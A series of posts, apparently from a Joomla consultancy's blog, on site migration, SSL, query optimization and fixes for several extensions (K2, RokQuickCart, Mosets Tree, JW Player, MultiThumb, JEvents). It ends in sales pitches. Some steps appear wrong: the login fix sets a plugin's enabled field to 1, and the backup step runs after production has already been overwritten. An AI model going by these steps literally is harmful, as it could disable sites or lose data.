    Assuming that the development website exists under /home/[your-user]/public_html/v2/, issue the following command:

    mv /home/[your-user]/public_html/v2/ /home/[your-user]/new/ (if you’re logged in as root)

    or

    mv /public_html/v2 /new/ (if you’re logged in as the website’s user)

  5. Move the production website to the “old” directory

    Issue the following command:

    mv /home/[your-user]/public_html/* /home/[your-user]/old/ (if you’re logged in as root)

    or

    mv /public_html/* /old/ (if you’re logged in as the website’s user)

  6. Move the development website into production

    Issue the following command:

    mv /home/[your-user]/new/* /home/[your-user]/public_html/ (if you’re logged in as root)

    or

    mv /new/* /public_html/ (if you’re logged in as the website’s user)

  7. Rename htaccess.txt to .htaccess

    A quick note before doing the below. Unfortunately, the Linux mv command does not move hidden files by default (the htaccess file is typically a hidden file), so what you need to do is to first explicity move/delete the old .htaccess that is still residing in the public_html directory.

    While under the public_html directory, issue the following command:

    mv htaccess.txt .htaccess

  8. Fix the configuration.php file

    The configuration.php in the new website most likely now contains incorrect log and tmp values. If your development website was running under a v2 folder, then make sure you trim that /v2 from the values of the $log_path and $tmp_path global variables.

  9. Ensure that all the permissions are correct

    Make sure that you’re giving Apache write permissions only to where it should be able to write. E.g. the cache folder, the images folder, the logs folder, and the tmp folder. Note also that some components may require write access to some specific directories inside the components or administrator/components folder (sh404SEF is one example, VirtueMart is another example).

  10. Backup your current production website

    Just issue the following simple command to backup the website:

    cp -R /home/[your-user]/public_html/* /home/[your-user]/new/ (if you’re logged in as root)

    or

    cp -R /public_html/* /new/ (if you’re logged in as the website’s user)

    Note that the above step can take some time if you’re running a huge website. Also note that the above will not backup your database – your database can be easily backed up using phpMyAdmin.

  11. Congratulate yourself on a job well done

    Now sit back and relax – your development website has replaced production, and your visitors are now enjoying a (hopefully) better, more reliable website.

Now, in case you’re experiencing a hiccup anywhere in the process above, then we urge you to contact us. We’ll definitely solve the problem for you, we’ll charge you a very reasonable fee, and we’ll do it for you very, very quickly.

Can an SSL Certificate Protect My Joomla Website from Hacks?

We just had an interesting conversation over the phone with a Joomla website administrator. The conversation went like this:

– “Hi. My name is [customer name] and I work at [company name] and I’m calling you because I heard that you are experts in Joomla security.”

– “That is true”, we said, “How can we help you?”

– “Well, my hosting company wants to sell me an SSL certificate – claiming that my company’s Joomla website will be completely secure and literally unhackable when an SSL certificate is installed, is this correct?”

– “Ummm, no…” – and then we explained to that person 2 things – 1) an SSL certificate has nothing to do with the security of the actual website and 2) hosting companies know very little on how to secure a website (if that wasn’t the case, then our client list would be much smaller than it is right now).

Now you might be thinking, what are these guys saying? SSL is short for Secure Sockets Layer, so it must have something to do with security. Well, let us explain, in layman terms, what an SSL is…

Let’s assume that you are a father (by the way, if you are really a father, then congratulations, father’s day is next Sunday!) and that you are talking with your son (who lives on the other end of the city) using home phone at around 8 PM. You are having one of those “father-to-son” conversations. Your nosy wife, who can’t stand not knowing everything and anything, picks up the other handset and starts eavesdropping.

By default, any request that you submit to a website with no SSL certificate is similar to the above conversation – anyone with the right tools can know the information that you are sending to the website and that the website is sending to you.

Now, let’s assume that over the years you have developed a new language that only you and your son know – let’s call this language the Martian Language. So, if you spoke over the phone with your son using the Martian Language, then there is no way your nosy wife can understand what you’re saying. Using a website with an SSL certificate installed is identical to this scenario, the information transmitted to the website is encrypted in such a way that only that website and your browser can understand it – and no one else. The same goes for the information transmitted from the website to your browser.

So, in other words, an SSL serves to encrypt the information transmitted from and to the website – and has nothing to do with website security itself. In short, an SSL certificate offers nothing to protect your website from hacks!

So why do some hosting companies say that an SSL certificate will protect your website?

Unfortunately, there are many unethical hosting companies out there that capitalize on their clients’ sensitivity towards the security of their websites. So they throw at them all kinds of products that they (their clients) may or may not need claiming that these products can make their websites more secure. As a rule of thumb, be very wary of a host that gives you a special deal about a product that is guaranteed to have positive results on your website – regardless of what that product is. Most likely that product is something that you don’t need claiming to do something that it can’t do.

So, when is an SSL certificate really needed?

An SSL certificate is needed when you are requesting sensitive information on your website (such as credit card information, SSN, etc…). In fact, an SSL certificate is a must to meet PCI standards (note: we do offer a service to make a Joomla website PCI compliant – check it here) if you want to do business online.

Now – if you are unsure on how to make your Joomla website more secure, then why don’t you contact us? We are experts in Joomla security, we charge a very affordable fee, and we are the friendliest developers on this planet!

How We Optimized a Large Joomla 2.5 Website and Made It Over 200 Times Faster

Note: This post is extremely advanced. If you’re not a technical person then we suggest you email it to your developer so that he can implement the suggestions below. If you don’t have a developer you can call us and we’ll take care of the optimization of your Joomla website.

We had a small debate amongst us when giving a title for this post – some of us thought that the “200 times” may seem like a marketing gimmick (something that we don’t do nor care about at itoctopus) – but at the end, there was a consensus to go with this title because there was no exaggeration whatsoever, it was true – and in this post we’ll explain how we did it!

A new client called us last Thursday (today is Tuesday) and told us that a local development company has just finished migrating his company’s website (the website was a hospital website with over 40,000 articles) to Joomla 2.5. Everything worked fine, except that the website was extremely slow – pages were literally taking ages to load. In fact, each page was taking 75 seconds to fully display on the browser. Needless to say, our client refrained from moving the website to production until the speed issue was resolved. As you have probably guessed, the client asked for our help to solve the problem…

Well, we first informed the client that by default, a Joomla 1.5 website is faster than a Joomla 2.5 website (this is a fact that the creators of Joomla seem to [unfortunately] deny). The reason for this is that Joomla 2.5 builds on some of the bad habits of Joomla 1.5, while it can do without them. Additionally, the developers of Joomla 2.5 seem to have forgotten that there are some very large websites using Joomla (OK, we’re done bashing the Joomla team).

We then informed the client that for Joomla to work with such an enormous amount of data, 2 factors have to be optimized: the hardware and the application.

Let’s start with the hardware first (the hardware is the least important of the two, but it’s the easiest to get done). A high traffic large Joomla website must be hosted on a very high end server, with the following specifications: 64GB of RAM, a 16 core high performance CPU, and an SSD drive. The large amount of RAM is needed to prevent disk swapping in case there are a large number of simultaneous visitors. The 16 core high performance CPU is necessary to handle the load that a huge Joomla website throws on MySQL. The SSD significantly reduces the access overhead to the filesystem and to the database.

As previously stated, the hardware is the easy part, because it’s just a matter of procuring the server with the above specifications (be aware that such as server can run you about $1,500 monthly).

As for optimizing the application, we informed our client that what we meant by that was modifying Joomla’s core to better adapt to the needs of his particular website. Our new client asked us to do the application optimization first, and here’s how we did it…

First of all, we printed all the queries that were processed on each and every page. We did that by adding an echo state to the setQuery function which is in the JDatabase class (in the file database.php which his located under the libraries/joomla/database folder). Not only that, we also printed the time of the start time of each and every query. Here’s the code that we added to the function setQuery to achieve this:


if ($_SERVER['REMOTE_ADDR'] == '[OUR IP]'){ //this if statement ensures that this debugging is only visible for our IP
	$strTime = microtime();
	$arrTime = explode(' ', $strTime);
	echo("\n\n".$arrTime[1] + $arrTime[0]."\n");
	echo($query."\n\n");
	flush(); //flush allows us to display the query that is being executed
	ob_flush();
}

Note: We are assuming, in our above code, that the non-database time to generate the page is negligible, which is the case in almost all Joomla websites.

Once we added the above code, we went to the homepage of the website (which was pointing to the featured items page) and we were surprised that a few Joomla queries caused a lot of slowdown. In fact, these Joomla queries, combined, took about 75 seconds to be done. One of them, in particular, took about 30 seconds and was being run twice (the same exact query). It was this one:

SELECT a.id, a.title, a.alias, a.title_alias, a.introtext, a.checked_out, a.checked_out_time, a.catid, a.created, a.created_by, a.created_by_alias, CASE WHEN a.modified = 0 THEN a.created ELSE a.modified END as modified, a.modified_by, uam.name as modified_by_name,CASE WHEN a.publish_up = 0 THEN a.created ELSE a.publish_up END as publish_up,a.publish_down, a.images, a.urls, a.attribs, a.metadata, a.metakey, a.metadesc, a.access, a.hits, a.xreference, a.featured, LENGTH(a.fulltext) AS readmore,CASE WHEN badcats.id is not null THEN 0 ELSE a.state END AS state,c.title AS category_title, c.path AS category_route, c.access AS category_access, c.alias AS category_alias,CASE WHEN a.created_by_alias > ' ' THEN a.created_by_alias ELSE ua.name END AS author,ua.email AS author_email,contact.id as contactid,parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias,ROUND(v.rating_sum / v.rating_count, 0) AS rating, v.rating_count as rating_count,c.published, CASE WHEN badcats.id is null THEN c.published ELSE 0 END AS parents_published FROM #__content AS a LEFT JOIN #__content_frontpage AS fp ON fp.content_id = a.id LEFT JOIN #__categories AS c ON c.id = a.catid LEFT JOIN #__users AS ua ON ua.id = a.created_by LEFT JOIN #__users AS uam ON uam.id = a.modified_by LEFT JOIN ( SELECT contact.user_id, MAX(contact.id) AS id, contact.language FROM #__contact_details AS contact WHERE contact.published = 1 GROUP BY contact.user_id, contact.language) AS contact ON contact.user_id = a.created_by LEFT JOIN #__categories as parent ON parent.id = c.parent_id LEFT JOIN #__content_rating AS v ON a.id = v.content_id LEFT OUTER JOIN (SELECT cat.id as id FROM #__categories AS cat JOIN #__categories AS parent ON cat.lft BETWEEN parent.lft AND parent.rgt WHERE parent.extension = 'com_content' AND parent.published != 1 GROUP BY cat.id ) AS badcats ON badcats.id = c.id WHERE a.access IN (1,1) AND c.access IN (1,1) AND CASE WHEN badcats.id is null THEN a.state ELSE 0 END = 1 AND (a.publish_up = '0000-00-00 00:00:00' OR a.publish_up <= '2013-06-10 04:53:14') AND (a.publish_down = '0000-00-00 00:00:00' OR a.publish_down >= '2013-06-10 04:53:14') GROUP BY a.id, a.title, a.alias, a.title_alias, a.introtext, a.checked_out, a.checked_out_time, a.catid, a.created, a.created_by, a.created_by_alias, a.created, a.modified, a.modified_by, uam.name, a.publish_up, a.attribs, a.metadata, a.metakey, a.metadesc, a.access, a.hits, a.xreference, a.featured, a.fulltext, a.state, a.publish_down, badcats.id, c.title, c.path, c.access, c.alias, uam.id, ua.name, ua.email, contact.id, parent.title, parent.id, parent.path, parent.alias, v.rating_sum, v.rating_count, c.published, c.lft, a.ordering, parent.lft, fp.ordering, c.id, a.images, a.urls ORDER BY CASE WHEN a.publish_up = 0 THEN a.created ELSE a.publish_up END DESC , a.created;

In case you’re wondering why the query was being run twice, it was because the first time the query was getting all the rows (yes, all the rows), and the second time it was running by a function called getTotal in order to know how many rows there were for the pagination. An immediate optimization idea (which we did) was to suppress the redundancy and pass the getTotal function the number of rows by simply issuing the function count() on the resulting array from the first query.

Now, we reduced the page loading time by 30 seconds (we eliminated one of the two query calls), but there was another major problem – that query was taking 30 seconds! Now, before we continue, let us briefly explain what this query is and where it is…

This query is a generic query used by mainly com_content views that display a list of items in one or more categories. It resides in the articles.php model file which is located under the components/com_content/models folder.

From a distance, the above query might look all fine and dandy, but if you take a closer look, you can easily notice that there’s a lot of useless table joins that are hardly (if ever) used:

  • The query makes a join on the table #__contact_details table. Is that really necessary? Why would any website care for a join between the #__content table and the #__contact_details table.
  • badcats are those categories that are disabled, and as such, the articles under them should not appear on the website. However, the inclusion of badcats in the query is extremely costly because they were creating an unnecessary (and very costly) join on the #__categories table. Yes, an article with a disabled category should not be displayed, but if someone is about to disable a category, then he’s better off manually (or automatically) disabling all the articles belonging to that category so as not to slow down performance.

  • The #__content_rating join is pure overhead (especially in the case of our client, who wasn’t even using ratings anyway on the website) – we think that if a view needs a rating, then it must lookup the rating value for each and every rating that is displayed – instead of getting the ratings of 40,000 articles, and then just use the ratings of 30.

  • The #__users join might seem necessary at first glance – because the author’s information is needed. However, since each article has the author id in the #__content table, isn’t it much better to retrieve the author’s information only for the rows displayed (e.g. in the view itself) rather than getting the author’s information of all the articles and then displaying those of 30. (This point is very similar to the previous point.)

  • Last but not least, the join #__content_frontpage table is completely unnecessary and we have no idea why Joomla is still doing that join when we have the featured and the ordering fields in the #__content table. Not only that join is unecessary (and way too costly if a website has a lot of featured articles), but also the whole #__content_frontpage table should not be there in the first place. It’s simply no longer needed!

After removing the above unnecessary joins from the query, its execution speed was greatly improved, but it was still unacceptable. The query was taking 2 seconds to execute – which is way too high. So we examined it more closely…

We looked at the included fields in the query, and we noticed that we only needed one field – just one, which was the id of the entry in the #__content table. Yes – you read that right – only one field is needed. All the other fields are completely unnecessary – why oh why one needs to retrieve the introtext of 40,000 articles while he only needs the introtext of just 30 (or less) – by the way, some websites have all the content of their articles solely in the introtext field, so you can imagine the overhead. So, we scrapped all the other fields from the query, and we modified the views using that query to retrieve just the needed article information from the database. Yes, this means that for each entry to be displayed we will have a separate query (or more), but the cost of this is negligible when it is compared to retrieving nearly the full information of 40,000 articles from the #__content table.

Once we did the above the query was taking merely 0.07 seconds to execute!

We applied the same strategy for all the other costly queries, and we eventually achieved a load time (on production) of 0.35 seconds for the full page – which is about 214 times faster than the original 75 seconds!

We then enabled caching (we chose conservative caching) and we ensured that the caching time was 60 minutes for each page and 24 hours for the modules. This step was necessary because while 0.35 seconds is fast – it is not that fast when there are thousands of queries every hour to the website. A side note here: Many Joomla websites that perform very well in development, perform very poorly in production because the amount of traffic is not comparable. An unnoticeable performance issue on development is equivalent to an extremely slow site in production (not to mention, of course, the database errors).

Finally, we moved the website to production and we started monitoring its performance as of yesterday evening – and so far it is working without a hitch, even on the old, middle-end server. However, we did tell our client to migrate to a high end server as soon as possible (yes – we think it’s still needed – a high traffic Joomla website must have all the room it needs to perform as it should)…

If you have a very large Joomla website and you’re worried about performance issues when migrating to Joomla 2.5, then fear not; we can migrate your website from scratch and ensure that all the optimization techniques are implemented (for a very reasonable fee) so that your visitors can have a smooth experience. All you need to do is to contact us! We’re always available, we’re professional, and we know Joomla inside out!

K2 And Setting the Wrong Open Graph Description Meta Tag

We love K2 – it’s one of those rare components that are a true a gem. Nevertheless, we do discover some quirks in the K2 engine from time to time. Today, we have discovered a problem with setting the Open Graph description meta tag. Here’s what happened this afternoon…

In the HTML code of one of our clients, we saw the following meta tag:

<meta name="og:description" content="Tweet Share [Real Description of the Page...]" />

We didn’t know where Tweet and Share were coming from, they were nowhere to be found anywhere in the template. Additionally, we know for a fact that Joomla – by default – doesn’t set the og:description meta tag. It must be a plugin, but which? We immediately thought about sh404 (it’s, ahem, favorite suspect), so we checked all its code and we discovered that it was innocent. Yes, there is a place where sh404 sets the og:description meta tag, but a quick test revealed that it wasn’t that code that was generating og:description. The Open Graph description meta tag was generated and set somewhere else…

We spent a long time trying to search for the plugin that was doing it and we couldn’t find any. But then we thought, what if that code is generated by K2? It does make sense because K2 is aware of its content and is known for having native support for Open Graph. A quick search in K2’s core files unveiled the mystery – it was the file view.html.php (located under the components/com_k2/views/item folder) that was setting the og:description meta tag. OK – now you might be thinking – what does that have anything to do with the presence of Tweet and Share in the og:description meta tag. Well, the problem was that K2 was grabbing the og:description (as well as the standard meta description) from the document, and not from the K2 item content. This is fine, but when the document’s content is changed by a plugin (such as a plugin that inserts a Tweet and a Share button), then the og:description will be polluted by nonsense words such as Tweet, Share, and Script

OK – enough talk! Here’s what we did to solve the problem:

  • We opened the file view.html.php which exists under the folder components/com_k2/views/item.
  • We changed the following line (line 473):

    $document->setMetaData('og:description', htmlspecialchars(strip_tags($document->getDescription()), ENT_QUOTES, 'UTF-8'));

    to the following line:

    $document->setMetaData('og:description', htmlspecialchars(strip_tags($introtext), ENT_QUOTES, 'UTF-8'));

  • We added the following line:

    $introtext = trim($item->introtext);

    After this line (line 42):

    $item = $model->getData();

  • We uploaded the view.html.php back to its place and that solved the problem!

Note that also the standard description meta tag might also be wrong if you’re not using K2’s meta description field. In this case, you will need to change this line (line 386):

$metaDescItem = preg_replace("#{(.*?)}(.*?){/(.*?)}#s", '', $item->introtext.' '.$item->fulltext);

to this one:

$metaDescItem = preg_replace("#{(.*?)}(.*?){/(.*?)}#s", '', $introtext.' '.$item->fulltext);

So, yes, even K2 can have bugs. Even Joomla can have bugs, for that matter! But that doesn’t mean that they’re not both excellent products!

Now, if your (og:)description meta tag has some weird content, then please apply the above and see if it works. If it doesn’t, or if you don’t even have K2 in the first place, then the problem might be caused by another extension. In this case, just contact us and we’ll help you solve the problem quickly. By the way, fear not, we’ll charge you a very reasonable fee for our services!

RokQuickCart Not Adding Items To Cart – How to Solve

One of our clients asked us to install RokQuickCart on his Joomla website. For those of you who don’t know, RokQuickCart is a free Joomla component that is used for small stores with standard items (e.g. online stores selling books, subscriptions, etc…) The nice thing about this component is that it’s extremely easy to use and extremely easy to setup: its configuration consists of merely adding a PayPal email. That’s it!

Now, when we installed it and added a couple of test products, we expected for everything to work smoothly – but it didn’t… Every time we tried to add a product to the cart, nothing happened! The item was not added and the shopping cart was always empty. We immediately realized there’s a JavaScript error somewhere. So we looked at the JavaScript console (in Google Chrome), and there was indeed the following error:

Uncaught TypeError: Object # has no method ‘ready’

Then we looked at the code, and we noticed that both jQuery and Mootools were loaded on the same page, which was causing a conflict. So, we decided to disable the former on the products page only. Here’s how we did it:

  • We opened the file default.php located under the components/com_k2/com_rokquickcart/views/rokquickcart/tmpl folder and we added the following code at the beginning of the file:

    <?php
    	$document = &JFactory::getDocument();
    	$rootPath = JURI::root(true);
    	$arrHead = $document->getHeadData();
    	unset($arrHead['scripts']['//ajax.googleapis.com/ajax/libs/jquery/1.8/jquery.min.js']);
    	$document->setHeadData($arrHead);
    ?>

    The above code removed jQuery from the list of JavaScript libraries included on the products page. Note that the location of the jQuery library might be different in your situation, so make sure you unset (remove) the right JavaScript path. Read here for more information on how to remove a JavaScript library from a Joomla page. (Warning: that article that we linked to is about removing Mootools, which is not what you want in this case. We just included the article so that you can have more insight on where the above code came from.)

  • We saved that file and we uploaded it back. The problem was fixed!

Quick note here: Some claim that the problem can be solved by just adding the following code to the affected page (in our case, the aforementioned default.php page):

<script>
	jQuery.noConflict();
</script>

The above code won’t work – just take our word for it!

If you are trying to install RokQuickCart and you’re having problems with it, then please contact us and we’ll do the installation for you. We won’t charge you much and we’ll do the job in no time! What are you waiting for?

Mosets Tree – An Extremely Slow/Unoptimized Joomla Extension

One of our customers complained to us today that his Joomla website was extremely slow. So, we used the MySQL slow query log to unveil the issue, and we discovered that the culprit was Mosets Tree. In particular, it was these two queries:

  1. SELECT l.*, c.cat_name, c.cat_id, u.username AS username, u.name AS owner, u.email AS owner_email, img.filename AS image FROM (wq8k0_mt_links AS l, wq8k0_mt_cl AS cl, wq8k0_mt_cats AS c) LEFT JOIN wq8k0_users AS u ON u.id = l.user_id LEFT JOIN wq8k0_mt_images AS img ON img.link_id = l.link_id AND img.ordering = 1 WHERE link_published='1' && link_approved='1' && link_featured='1' AND img.img_id > 0 AND ( publish_up = '0000-00-00 00:00:00' OR publish_up <= '2013-05-31 01:09:59' ) AND ( publish_down = '0000-00-00 00:00:00' OR publish_down >= '2013-05-31 01:09:59' ) AND l.link_id = cl.link_id AND c.cat_id = cl.cat_id AND cl.main = 1 ORDER BY link_featured ASC
  2. SELECT cf.*, cfv.link_id, cfv.value, cfv.attachment, cfv.counter, ft.ft_class FROM wq8k0_mt_customfields AS cf LEFT JOIN wq8k0_mt_cfvalues AS cfv ON cf.cf_id=cfv.cf_id AND cfv.link_id = 152 LEFT JOIN wq8k0_mt_fieldtypes AS ft ON ft.field_type=cf.field_type WHERE cf.published = '1' ORDER BY ordering ASC

The first query was taking 25 seconds to execute, while the second was taking about 30 seconds. So we checked these two queries in phpMyAdmin using the Explain command (e.g. Explain [query]), and we discovered that not one single field was indexed – not one! This means that any Select query will take ages to execute if there’s a lot of data (and our customer had a lot of data). Not only that, we also discovered that not a single table had a primary field, which means any Join between the Mosets‘ tables is extremely expensive on the system.

We were surprised, because Mosets Tree is a highly used Joomla extension that is commercial! For a commercial extension, one usually expects a high quality extension. Unfortunately, we can’t say that about Mosets Tree.

Obviously, solving the problem meant that we had to manually index many fields belonging to the Mosets‘ tables. Once we did that, the site became much faster and the load on the server decreased.

After fixing the problem, we started thinking, how many famous extensions are similarly unoptimized? How many Joomla websites out there suffer because they are using one of these extensions? And what did the developers have in mind when they completely ignored something so obvious (which is indexing their fields)? One has to wonder whether database optimization was left out on purpose (especially when an extension is many years old)…

Now, if you’re reading this post because your website is extremely slow because of Mosets Tree, then we suggest that you index the filter fields in all the Mosets Tree tables (this can be done in phpMyAdmin). If you don’t know how to do that, then we suggest that you contact us. We can optimize this extension for you in not time and at a very affordable price. All you need to do is to give us a call or shoot us an email!

Admin in Joomla Login Redirects to Another Login

We got a call from a client this afternoon telling us that when logging in to his website, he was redirected to another login. He was seeing this error:

Use a valid username and password to gain access to the administrator backend.

We thought he was experiencing one of the many common login issues on Joomla. We were wrong…

When we checked the website, we noticed that he wasn’t even redirected to the standard Joomla login, he was being redirected to a completely different login (something similar to Joomla’s login but with no design/layout whatsoever). The new login link was also different, it was http://www.ourclientjoomlawebsite.com/v2/administrator/index.php/wp-admin/install.php.

We asked the client whether he did something just before the error happened, and he told us that he installed the WordPress for Joomla extension (which we think is a very poorly written extension but one that does the job) but he didn’t finalize the installation (e.g. he installed the extension but he didn’t go through configuring it). Aha! We immediately knew the cause of the problem, it’s most certainly a plugin being loaded by the new WordPress extension which was doing all this. The link the login was redirecting to contained the word wp-admin (which is a WordPress specific folder), a fact that confirmed our theory!

So, here’s what we did to fix the problem:

  • We logged in to phpMyAdmin through our client’s cPanel.
  • We clicked on the #__extensions table on the right (replace #__ with your database alias).

  • We then searched for the User – WordPress entry and we set the enabled field for that entry to 1.

  • The problem was solved – our client was able to login again to his website.

It’s amazing that even after all these years, we still are seeing login problems that we have not seen before! That’s what makes our job so beautiful – there’s something new every day – a new challenge and a new solution!

If you’re having a similar login issue on your Joomla website, and if the above is not working for you (or you don’t know how to implement it), then fret not, we’re here to the rescue! All you need to do is to contact us and we’ll make sure the problem is resolved in no time and for a very low cost.

How To Resolve the Most Annoying JW Player Error in Joomla

AllVideos is an excellent plugin that uses the JW player to display videos in different formats. It’s excellent and it usually works without a hitch. However, if you have been using it for a long time in different environments, you might have seen the following error:

The video could not be loaded, either because the server or network failed or because the format is not supported. [absolute URL to the video the player is trying to load] undefined.

The first time we have seen the above error we have spent literally a whole day trying to solve it – we just didn’t know what the cause of it was, and it was not happening on all machines and it was happening only on FireFox.

We first thought that it might have something to do with FireFox’s version, so we upgraded FireFox to the latest version (which is 21 at the time of writing this post). That didn’t help…

Our second attempt was to update Flash to the latest version – that didn’t help either…

Our third attempt was to read through the code and see how the video was embedded, and we noticed that the new JW Player does not use absolute URLs in its embed code – so we changed that. We opened the file sources.php which is located under the /plugins/content/jw_allvideos/jw_allvideos/includes folder and we ensured that all the URLs in the embed code were absolute. Unfortunately, that didn’t work… (By the way, doing this might solve other issues you’re having on the website – for example when the player is unable to find the video, so what we did was not a complete waste after all!)

We finally did some research, and we discovered that FireFox has issues displaying videos using HTML5. Hmmm…. So, we checked the embed code again, and we saw this:

'modes': [
  { 'type': 'html5'},
  { 'type': 'flash', src: '[URL to the flash player]' },
  { 'type': 'download' }
]

Ahaaaa! As you can see, the first option is to load the video using HTML5 – which is the heart of the problem since FireFox has issues when it comes to loading videos using HTML5. So, in order to solve the problem, we decided to change the sequence of loading; we decided to make the Flash player the primary tool to load the videos. Here’s how we did it:

  • We opened the sources.php file located under the /plugins/content/jw_allvideos/jw_allvideos/includes directory.
  • We flipped lines 23 and 24. So, line 23 became line 24, and line 24 became line 23. In other words, we moved the line:

    { 'type': 'html5' },

    below the line:

    { 'type': 'flash', src: '{PLUGIN_PATH}/includes/js/mediaplayer/player.swf' },

    This step ensured that the browser will first try to load the videos in the Flash container – and, if Flash is nowhere to be found, then it tries to load it using HTML5.

  • We saved the file and we uploaded it back and that fixed the problem! Hooray!

Now, if you have the same problem but are not too technical to fix it using the above technique, then probably your best option would be to contact us; we’ll do it for you at a very competitive rate and in the blink of an eye! (Well, not literally, but we are really fast!)

Why Joomla Should Change Its Database Structure

Note: This post is extremely advanced and is aimed at Joomla administrators with a solid technical background.

We love Joomla. We think that it’s one of the best CMS’s out there, if not the best CMS. That’s why we think it’s good to constructively criticize it from time to time so that it remains where it is right now (and hopefully become better).

Let’s start…

One of the most annoying characteristics of Joomla, and of any CMS in general, is how database tables are linked. For example, let’s take a look at the #__categories (the table containing the categories). That table is linked to many other tables through the ID field. For example, we know that a particular article belongs to a certain category because the ID of that category is referenced in the catid field in that particular’s article row (in the table #__content). Now, all this seems fine and clean, and it’s considered to be standard practice when it comes to database architecture. But, is it the best practice? (Yes, we know, we have italicized the word best twice so far in this post!)

We don’t think so!

To answer the first question that you might have on your mind: “No, we have not finally lost our senses” (that’s a quote from Alice in Wonderland, except that the not is not there). In order to prove that, let us tell you what happened to us today…

We were migrating a Joomla website (from Joomla 1.5 to Joomla 2.5) today, and, as most of you already know, preserving the IDs of the articles in the #__content table is nearly impossible if you want to do a clean migration. Now, for small websites with little or no extra features, this might be harmless, but the website that we were migrating today had one feature that caused us some trouble, and that feature was JComments (the excellent Joomla commenting tool). Each comment in JComments was linked to the article’s ID, but since the article ID association could not be maintained during the migration, we had data integrity issues: comments were no longer linked to the right articles (some were not linked to any articles!).

A database administrator would say that this is very normal in a relational database, but we beg to differ. You see, the problem is that during the migration, the new article IDs were generated automatically, because the article ID is an Autonumber field in the database (e.g. the database will automatically assign the next number in the sequence for each new article [The first article’s ID is 1, the second’s ID is 2, etc…]). But what if Joomla doesn’t use Autonumber at least in its main tables (such as the #__content table, the #__menu table, the #__categories table, etc…) and use a hash that is calculated based on a unique combination of 2 fields (such as the title and the creation date)? That hash will remain static and unique in time and space (OK, we’re getting a bit philosophical here…) so any move of the data anywhere will not affect the table relationships in the database, because all the tables will be using that unique (and static) hash to reference items in other tables.

Now, when would that hash be created? When the entry is created in Joomla, of course! For example, when you create a new article, Joomla will automatically create its hash based on its creation date and its title.

We know that this concept sounds too good to be true – but it is true, and it can work. The problem is that most database architects will refuse even looking at it because it’s “not the way we do things” and because “there might be some serious repercussions” (we’re using their terminology). Yes, it’s not the way we do things, and there might be some repercussions, but isn’t this whole concept worth at least a try?

Now let’s get back to you, our dear reader! If you’re having data integrity problems after the migration of your Joomla website because of the above issue, then fear not, we can help! We can write a customized script that will remedy your data. All you need to do is to contact us and rest assured, we won’t charge you much and we will get the job done!

How to Disable the MultiThumb Plugin on Modules

One of the really annoying plugins that we have to constantly work with is the MultiThumb plugin (or the so-called BK-MultiThumb plugin). It is annoying because we always have to modify the core to make it work the way we want it to work. It is also poorly documented and is characterized by an erratic behavior. (Yes, in case you’re wondering, Joomla plugins can have characters!)

One of the major annoyances with the MultiThumb plugin is its inability to differentiate between actual content and modules, so the code runs on the modules as well, and tries to intelligently (wink, wink) create thumbnails of the images in the modules – which is often not the desired behavior. Unfortunately, the plugin has no setting explicitly instructing it not to work on (certain) modules. To overcome this, the average Joomla administrator adds the mt_ignore directive in the alt tag of each and every image in each and every module that he does not want MultiThumb to modify. Clearly, this is an annoying and a hair pulling task, especially if the number of modules is in the hundreds (which is the case for many of the Joomla websites we work with).

So, are there other solutions for this problem?

Well, fortunately, at itoctopus, we have devised a couple of clean solutions to address this annoyance:

  1. Solution #1 – Instruct the module not to Prepare Content

    Usually, modules affected by the MultiThumb plugin have a setting under Basic Options which is called Prepare Content. When set to “Yes”, Prepare Content will trigger a call the function onContentPrepare when the module is loaded into the website. This means that any plugin (including the MultiThumb plugin) that has the function onContentPrepare will have full access to said module’s content – in other words, the plugin can read and can modify the module’s content. Obviously, if you don’t want your module’s content to be potentially modified, ensure that Prepare Content is set to “No”.

  2. Solution #2 – Modify MultiThumb’s core

    While the first solution is elegant, it suffers from three drawbacks: 1) it is not practical in case the website has hundreds of modules (one has to manually change the value of Prepare Content to “No” in all the modules), 2) some modules may trigger the onContentPrepare function without having a setting to disable it, and 3) setting the onContentPrepare value to “No” may have adverse effects on the website.

    So, a better solution would be to modify MultiThumb‘s core by telling it not to process modules. This can be easily done by adding a line to the following function (the line is highlighted in red, and the function is located in the file multithumb.php which is located under the plugins/content/multithumb folder) :

    public function onContentPrepare($context, &$article, &$params, $limitstart = 0) {
    	if (strpos($context, 'mod_') !== FALSE) return;
    	if ( !$this->is_article ) {
    		return;		
    	}
    	$this->onPrepareContent ( $article, $params, $limitstart);
    }

    Now, nothing’s perfect, and the above solution will mean that MultiThumb will not work on any module (which is most likely what you want). But, what if you want MultiThumb to work on some modules? Well, in this case, you just create a white-list array in the above function, and any modules in that white-list array will be processed by the plugin. Easy, huh?

Of course, the second solution must be performed by someone who knows a thing or two about coding, preferably a programmer. So, if you’re not, or if you need help doing this, then why not contact us? We are always available, our rates are competitive, our work is fast and professional, and we are super friendly!

Events in Certain Categories Not Appearing on JEvents Calendar

A couple of hours ago, we got an urgent call from a client in the UK (it’s now 7:30 AM here in Montreal), the client was using JEvents (the well known Joomla event calendar extension) to display the events of his company. He told us that for some reason, all the events under some categories are not displaying on his website. Our client said that he was sure that those categories were published (active) and when the events were listed under different categories they would show up. We smiled because we worked on the exact same problem a few days ago so we knew how to immediately fix it.

We then asked our client whether he selected those categories in the menu item pointing to JEvents. He said: “Let me check…” A minute later (he was still on the phone), he told us: “Thank you, thank you, thank you!”

Now enough with the narration, and let us explain to you, our faithful reader, how to fix the problem:

  • First make sure that those categories are enabled. You can check whether those categories are enabled by logging in to the backend and going to Components -> JEvents -> Categories.
  • Now check that the events are actually published in those categories. (We know, DUH, but sometimes this might be the reason)

  • Now go to the menu item pointing to JEvents, and make sure that these categories are selected on the right of the page. See image below…

JEvents Select Categories

Figure 1: Selecting Categories on JEvents’ Menu Item

Doing the above should fix your problem, if it doesn’t, then try creating a new category, and add a new event to that category and see if it works (make sure that the menu item pointing to your calendar has this category selected). If this still doesn’t work, then check if you have two menu items each pointing to a JEvents calendar on your website. If this is the case, then again, make sure that you are working on the right menu item.

If all else fails, then why not contact us? We can definitely fix the problem for you at record speed. We don’t charge much and we are very, very professional. We are also very friendly! What more could anyone want from his programmers?

Weird Hash in All of Joomla’s URLs – Cause and Fix

